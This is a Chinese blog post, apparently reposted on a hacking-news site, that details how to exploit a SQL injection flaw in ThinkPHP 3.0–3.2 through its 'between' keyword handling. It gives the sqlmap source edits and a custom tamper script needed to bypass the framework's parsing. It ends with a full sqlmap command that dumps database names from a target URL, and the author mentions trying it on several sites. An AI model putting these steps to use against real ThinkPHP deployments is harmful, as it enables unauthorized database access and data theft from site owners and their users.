记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

ThinkPHP 3.0~3.2 SQL注入漏洞详解与利用

2015-02-02 01:04
ThinkPHP 3.0~3.2 SQL注入漏洞详解与利用

0x00 背景


thinkphp最近漏洞频出,这个漏洞属于危害特别大的,以现有的程序员写法,应该都是有漏洞的。自己也测试了几个站点,在利用的时候碰到的一点问题,总结一下。

0x01 漏洞信息


漏洞文件位置ThinkPHPLibraryThinkDb.class.php
parseWhereItem函数由于对between关键字的正则匹配错误,导致了SQL注入。
详情可以上乌云:http://www.wooyun.org/bugs/wooyun-2014-087731
估计通过代码比对可以很快明白。

0x02 EXP


此次的目的是利用sqlmap去自动跑数据,仅测试了3个站点,不过遇到的问题挺多。

问题:

一、TP对0x7167656371形式的数据都解释成是数据表的字段,因此对于sqlmap判断注入存在的关键字是无法利用的,需绕过。

1111

二、在GET请求时,由于TP的路由模式对URL中的参数取得时,未做URL解码处理,因此提交的时候不能使用URL编码,且不允许出现空格,会导致路由失效出现404。

2222

三、在sqlmap会对0x7167656371的字符串形式’qgecq‘做匹配,且大小写敏感,不然会造成无法识别注入点。

3333

四、GET请求时在替换完payload时应该替换空白字符,但是POST时是不需要的。

意味着–skip-urlencode参数可以根据需要添加。

问题来源:

sqlmap的返回验证机制中有一个头关键字,可以观察所有的插入字符都是q开头的,且大小写敏感。因此需要修改这两处。
(伟大娃娃不做程序员真是可惜了- -)

识别解决方案:

修改sqlmap/lib/core/settings.py:
KB_CHARS_BOUNDARY_CHAR = 'L'
修改slqmap/lib/core/common.py:
randomStr函数中
return retVal     =>     return retVal.upper()
另外根据ThinkPHP对数据库的操作要求,必须把0x0000形式直接转换成字符串,因此直接编写一个tamper来完成这个工作。

代码地址:

https://github.com/LxiaoGirl/ThinkPHPSQL0day
最后的命令:

sqlmap.py -u  "http://192.168.1.201:81/index.php/ThinkPHP0day?key[0]=&key[1]=a" -p key[0] --prefix "='-'" --suffix "%23between"  --tamper thinkphp0day.py --technique=U --dbms=mysql --union-char "156427916544" --skip-urlencode --dbs

0x03 后话

测试过E模式U模式,都是可以使用的。唯一需要注意的是–prefix位置需要自己去闭合。

备注:

代码审计过程中需要记录SQL语句执行的过程,但是到mysql的5.6版本时出现一点变动。
mysql5.6 增强了log记录-取消了通用log配置项,改成了general_log,且不记录错误的SQL语句(有同学可以可告知)。
mysql5.5 通用日志记录项目log,也有general_log项,可记录错误SQL语句。因此建议环境设置成5.5。

知识来源: xlixli.net/?p=402

阅读:1323078 | 评论:0 | 标签:Python 代码审计 漏洞分析 python sqlmap ThinkPHP 注入 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“ThinkPHP 3.0~3.2 SQL注入漏洞详解与利用”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云